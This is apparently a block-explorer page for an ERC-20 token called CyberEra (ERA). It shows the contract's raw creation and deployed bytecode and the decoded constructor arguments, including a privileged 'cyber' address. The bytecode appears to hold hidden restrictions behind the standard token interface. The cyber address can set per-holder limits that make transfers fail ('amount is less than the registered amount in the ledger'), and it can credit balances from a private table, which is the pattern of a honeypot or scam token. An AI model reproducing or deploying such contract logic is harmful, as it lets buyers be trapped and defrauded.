fffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161138c9190611577565b60405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113d25780820151818401526020810190506113b7565b60008484015250505050565b6000601f19601f8301169050919050565b60006113fa82611398565b61140481856113a3565b93506114148185602086016113b4565b61141d816113de565b840191505092915050565b6000602082019050818103600083015261144281846113ef565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114898261145e565b9050919050565b6114998161147e565b81146114a457600080fd5b50565b6000813590506114b681611490565b92915050565b6000819050919050565b6114cf816114bc565b81146114da57600080fd5b50565b6000813590506114ec816114c6565b92915050565b6000806040838503121561150957611508611454565b5b6000611517858286016114a7565b9250506020611528858286016114dd565b9150509250929050565b60008115159050919050565b61154781611532565b82525050565b6000602082019050611562600083018461153e565b92915050565b611571816114bc565b82525050565b600060208201905061158c6000830184611568565b92915050565b6000806000606084860312156115ab576115aa611454565b5b60006115b9868287016114a7565b93505060206115ca868287016114a7565b92505060406115db868287016114dd565b9150509250925092565b600060ff82169050919050565b6115fb816115e5565b82525050565b600060208201905061161660008301846115f2565b92915050565b60006020828403121561163257611631611454565b5b6000611640848285016114a7565b91505092915050565b6116528161147e565b82525050565b600060208201905061166d6000830184611649565b92915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6116b5826113de565b810181811067ffffffffffffffff821117156116d4576116d361167d565b5b80604052505050565b60006116e761144a565b90506116f382826116ac565b919050565b600067ffffffffffffffff8211156117135761171261167d565b5b61171c826113de565b9050602081019050919050565b82818337600083830152505050565b600061174b611746846116f8565b6116dd565b90508281526020810184848401111561176757611766611678565b5b611772848285611729565b509392505050565b600082601f83011261178f5761178e611673565b5b813561179f848260208601611738565b91505092915050565b600080604083850312156117bf576117be611454565b5b60006117cd858286016114a7565b925050602083013567ffffffffffffffff8111156117ee576117ed611459565b5b6117fa8582860161177a565b9150509250929050565b6000806040838503121561181b5761181a611454565b5b6000611829858286016114a7565b925050602061183a858286016114a7565b9150509250929050565b600067ffffffffffffffff82111561185f5761185e61167d565b5b602082029050602081019050919050565b600080fd5b600061188861188384611844565b6116dd565b905080838252602082019050602084028301858111156118ab576118aa611870565b5b835b818110156118d457806118c088826114a7565b8452602084019350506020810190506118ad565b5050509392505050565b600082601f8301126118f3576118f2611673565b5b8135611903848260208601611875565b91505092915050565b6000806040838503121561192357611922611454565b5b600083013567ffffffffffffffff81111561194157611940611459565b5b61194d858286016118de565b925050602061195e858286016114dd565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806119af57607f821691505b6020821081036119c2576119c1611968565b5b50919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a246024836113a3565b9150611a2f826119c8565b604082019050919050565b60006020820190508181036000830152611a5381611a17565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ab66022836113a3565b9150611ac182611a5a565b604082019050919050565b60006020820190508181036000830152611ae581611aa9565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611b22601d836113a3565b9150611b2d82611aec565b602082019050919050565b60006020820190508181036000830152611b5181611b15565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206973206c657373207460008201527f68616e20746865207265676973746572656420616d6f756e7420696e2074686560208201527f206c65646765722e000000000000000000000000000000000000000000000000604082015250565b6000611bda6048836113a3565b9150611be582611b58565b606082019050919050565b60006020820190508181036000830152611c0981611bcd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c4a826114bc565b9150611c55836114bc565b9250828203905081811115611c6d57611c6c611c10565b5b92915050565b6000611c7e826114bc565b9150611c89836114bc565b9250828201905080821115611ca157611ca0611c10565b5b92915050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611d036023836113a3565b9150611d0e82611ca7565b604082019050919050565b60006020820190508181036000830152611d3281611cf6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611d956026836113a3565b9150611da082611d39565b604082019050919050565b60006020820190508181036000830152611dc481611d88565b9050919050565b7f45524332303a20496e636f7272656374206572612e0000000000000000000000600082015250565b6000611e016015836113a3565b9150611e0c82611dcb565b602082019050919050565b60006020820190508181036000830152611e3081611df4565b9050919050565b600081905092915050565b6000611e4d82611398565b611e578185611e37565b9350611e678185602086016113b4565b80840191505092915050565b6000611e7f8284611e42565b915081905092915050565b7f45524332303a20546865206379626572206e656564732061206e657720657261600082015250565b6000611ec06020836113a3565b9150611ecb82611e8a565b602082019050919050565b60006020820190508181036000830152611eef81611eb3565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f526026836113a3565b9150611f5d82611ef6565b604082019050919050565b60006020820190508181036000830152611f8181611f45565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611fc2826114bc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611ff457611ff3611c10565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120356020836113a3565b915061204082611fff565b602082019050919050565b6000602082019050818103600083015261206481612028565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006120a1601f836113a3565b91506120ac8261206b565b602082019050919050565b600060208201905081810360008301526120d081612094565b905091905056fea2646970667358221220653efa6b8fdcfd26e4f255f0355cf45a3250f3aa65f7b5b6f2a2293dfe88db1264736f6c6343000812003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000098968000000000000000000000000034e5fa82c8a8c4d7c75dd7d1ac8d2229f9938bd80000000000000000000000000000000000000000000000000000000000000008437962657245726100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034552410000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c806395d89b4111610097578063d9dd1e6d11610066578063d9dd1e6d146102b1578063dd62ed3e146102cd578063f2fde38b146102fd578063f80666a81461031957610100565b806395d89b4114610217578063a9059cbb14610235578063cf61b55014610265578063d0d0e8dd1461028157610100565b8063313ce567116100d3578063313ce567146101a157806370a08231146101bf578063715018a6146101ef5780638da5cb5b146101f957610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610335565b60405161011a9190611428565b60405180910390f35b61013d600480360381019061013891906114f2565b6103c7565b60405161014a919061154d565b60405180910390f35b61015b6105a3565b6040516101689190611577565b60405180910390f35b61018b60048036038101906101869190611592565b6105ad565b604051610198919061154d565b60405180910390f35b6101a96108ad565b6040516101b69190611601565b60405180910390f35b6101d960048036038101906101d4919061161c565b6108c4565b6040516101e69190611577565b60405180910390f35b6101f761090d565b005b610201610921565b60405161020e9190611658565b60405180910390f35b61021f61094a565b60405161022c9190611428565b60405180910390f35b61024f600480360381019061024a91906114f2565b6109dc565b60405161025c919061154d565b60405180910390f35b61027f600480360381019061027a91906114f2565b610c7d565b005b61029b6004803603810190610296919061161c565b610c93565b6040516102a89190611577565b60405180910390f35b6102cb60048036038101906102c691906117a8565b610d73565b005b6102e760048036038101906102e29190611804565b610ee3565b6040516102f49190611577565b60405180910390f35b6103176004803603810190610312919061161c565b610f6a565b005b610333600480360381019061032e919061190c565b610fed565b005b60606002805461034490611997565b80601f016020809104026020016040519081016040528092919081815260200182805461037090611997565b80156103bd5780601f10610392576101008083540402835291602001916103bd565b820191906000526020600020905b8154815290600101906020018083116103a057829003601f168201915b5050505050905090565b6000806103d2611106565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610443576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043a90611a3a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036104b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104a990611acc565b60405180910390fd5b82600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040516105909190611577565b60405180910390a3600191505092915050565b6000600154905090565b600081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f9611106565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066c90611b38565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90611bf0565b60405180910390fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107469190611c3f565b9250508190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461079c9190611c73565b9250508190555081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107ed611106565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108369190611c3f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161089a9190611577565b60405180910390a3600190509392505050565b6000600460009054906101000a900460ff16905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61091561110e565b61091f600061118c565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461095990611997565b80601f016020809104026020016040519081016040528092919081815260200182805461098590611997565b80156109d25780601f106109a7576101008083540402835291602001916109d2565b820191906000526020600020905b8154815290600101906020018083116109b557829003601f168201915b5050505050905090565b600080600760006109eb611106565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610a97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8e90611d19565b60405180910390fd5b82811015610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190611dab565b60405180910390fd5b8260066000610ae7611106565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a90611bf0565b60405180910390fd5b82810360076000610b72611106565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bff9190611c73565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610c25611106565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c6a9190611577565b60405180910390a3600191505092915050565b610c8561110e565b610c8f8282611250565b5050565b6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cd6611106565b73ffffffffffffffffffffffffffffffffffffffff1614610d2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2390611e17565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610db4611106565b73ffffffffffffffffffffffffffffffffffffffff1614610e0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0190611e17565b60405180910390fd5b6000600582604051610e1c9190611e73565b90815260200160405180910390205411610e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6290611ed6565b60405180910390fd5b600581604051610e7b9190611e73565b908152602001604051809103902054600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ed89190611c73565b925050819055505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f7261110e565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890611f68565b60405180910390fd5b610fea8161118c565b50565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661102e611106565b73ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b90611e17565b60405180910390fd5b60005b82518110156111015781600660008584815181106110a8576110a7611f88565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806110f990611fb7565b915050611087565b505050565b600033905090565b611116611106565b73ffffffffffffffffffffffffffffffffffffffff16611134610921565b73ffffffffffffffffffffffffffffffffffffffff161461118a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111819061204b565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b6906120b7565b60405180910390fd5b80600160008282546112d19190611c73565b9250508190555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113279190611c73565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161138c9190611577565b60405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113d25780820151818401526020810190506113b7565b60008484015250505050565b6000601f19601f8301169050919050565b60006113fa82611398565b61140481856113a3565b93506114148185602086016113b4565b61141d816113de565b840191505092915050565b6000602082019050818103600083015261144281846113ef565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114898261145e565b9050919050565b6114998161147e565b81146114a457600080fd5b50565b6000813590506114b681611490565b92915050565b6000819050919050565b6114cf816114bc565b81146114da57600080fd5b50565b6000813590506114ec816114c6565b92915050565b6000806040838503121561150957611508611454565b5b6000611517858286016114a7565b9250506020611528858286016114dd565b9150509250929050565b60008115159050919050565b61154781611532565b82525050565b6000602082019050611562600083018461153e565b92915050565b611571816114bc565b82525050565b600060208201905061158c6000830184611568565b92915050565b6000806000606084860312156115ab576115aa611454565b5b60006115b9868287016114a7565b93505060206115ca868287016114a7565b92505060406115db868287016114dd565b9150509250925092565b600060ff82169050919050565b6115fb816115e5565b82525050565b600060208201905061161660008301846115f2565b92915050565b60006020828403121561163257611631611454565b5b6000611640848285016114a7565b91505092915050565b6116528161147e565b82525050565b600060208201905061166d6000830184611649565b92915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6116b5826113de565b810181811067ffffffffffffffff821117156116d4576116d361167d565b5b80604052505050565b60006116e761144a565b90506116f382826116ac565b919050565b600067ffffffffffffffff8211156117135761171261167d565b5b61171c826113de565b9050602081019050919050565b82818337600083830152505050565b600061174b611746846116f8565b6116dd565b90508281526020810184848401111561176757611766611678565b5b611772848285611729565b509392505050565b600082601f83011261178f5761178e611673565b5b813561179f848260208601611738565b91505092915050565b600080604083850312156117bf576117be611454565b5b60006117cd858286016114a7565b925050602083013567ffffffffffffffff8111156117ee576117ed611459565b5b6117fa8582860161177a565b9150509250929050565b6000806040838503121561181b5761181a611454565b5b6000611829858286016114a7565b925050602061183a858286016114a7565b9150509250929050565b600067ffffffffffffffff82111561185f5761185e61167d565b5b602082029050602081019050919050565b600080fd5b600061188861188384611844565b6116dd565b905080838252602082019050602084028301858111156118ab576118aa611870565b5b835b818110156118d457806118c088826114a7565b8452602084019350506020810190506118ad565b5050509392505050565b600082601f8301126118f3576118f2611673565b5b8135611903848260208601611875565b91505092915050565b6000806040838503121561192357611922611454565b5b600083013567ffffffffffffffff81111561194157611940611459565b5b61194d858286016118de565b925050602061195e858286016114dd565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806119af57607f821691505b6020821081036119c2576119c1611968565b5b50919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a246024836113a3565b9150611a2f826119c8565b604082019050919050565b60006020820190508181036000830152611a5381611a17565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ab66022836113a3565b9150611ac182611a5a565b604082019050919050565b60006020820190508181036000830152611ae581611aa9565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611b22601d836113a3565b9150611b2d82611aec565b602082019050919050565b60006020820190508181036000830152611b5181611b15565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206973206c657373207460008201527f68616e20746865207265676973746572656420616d6f756e7420696e2074686560208201527f206c65646765722e000000000000000000000000000000000000000000000000604082015250565b6000611bda6048836113a3565b9150611be582611b58565b606082019050919050565b60006020820190508181036000830152611c0981611bcd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c4a826114bc565b9150611c55836114bc565b9250828203905081811115611c6d57611c6c611c10565b5b92915050565b6000611c7e826114bc565b9150611c89836114bc565b9250828201905080821115611ca157611ca0611c10565b5b92915050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611d036023836113a3565b9150611d0e82611ca7565b604082019050919050565b60006020820190508181036000830152611d3281611cf6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611d956026836113a3565b9150611da082611d39565b604082019050919050565b60006020820190508181036000830152611dc481611d88565b9050919050565b7f45524332303a20496e636f7272656374206572612e0000000000000000000000600082015250565b6000611e016015836113a3565b9150611e0c82611dcb565b602082019050919050565b60006020820190508181036000830152611e3081611df4565b9050919050565b600081905092915050565b6000611e4d82611398565b611e578185611e37565b9350611e678185602086016113b4565b80840191505092915050565b6000611e7f8284611e42565b915081905092915050565b7f45524332303a20546865206379626572206e656564732061206e657720657261600082015250565b6000611ec06020836113a3565b9150611ecb82611e8a565b602082019050919050565b60006020820190508181036000830152611eef81611eb3565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f526026836113a3565b9150611f5d82611ef6565b604082019050919050565b60006020820190508181036000830152611f8181611f45565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611fc2826114bc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611ff457611ff3611c10565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120356020836113a3565b915061204082611fff565b602082019050919050565b6000602082019050818103600083015261206481612028565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006120a1601f836113a3565b91506120ac8261206b565b602082019050919050565b600060208201905081810360008301526120d081612094565b905091905056fea2646970667358221220653efa6b8fdcfd26e4f255f0355cf45a3250f3aa65f7b5b6f2a2293dfe88db1264736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000098968000000000000000000000000034e5fa82c8a8c4d7c75dd7d1ac8d2229f9938bd80000000000000000000000000000000000000000000000000000000000000008437962657245726100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034552410000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): CyberEra
Arg [1] : symbol_ (string): ERA
Arg [2] : decimals_ (uint8): 18
Arg [3] : totalSupply_ (uint256): 10000000
Arg [4] : cyber_ (address): 0x34e5Fa82c8a8C4D7C75dd7D1AC8d2229F9938BD8

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 0000000000000000000000000000000000000000000000000000000000989680
Arg [4] : 00000000000000000000000034e5fa82c8a8c4d7c75dd7d1ac8d2229f9938bd8
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [6] : 4379626572457261000000000000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [8] : 4552410000000000000000000000000000000000000000000000000000000000


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.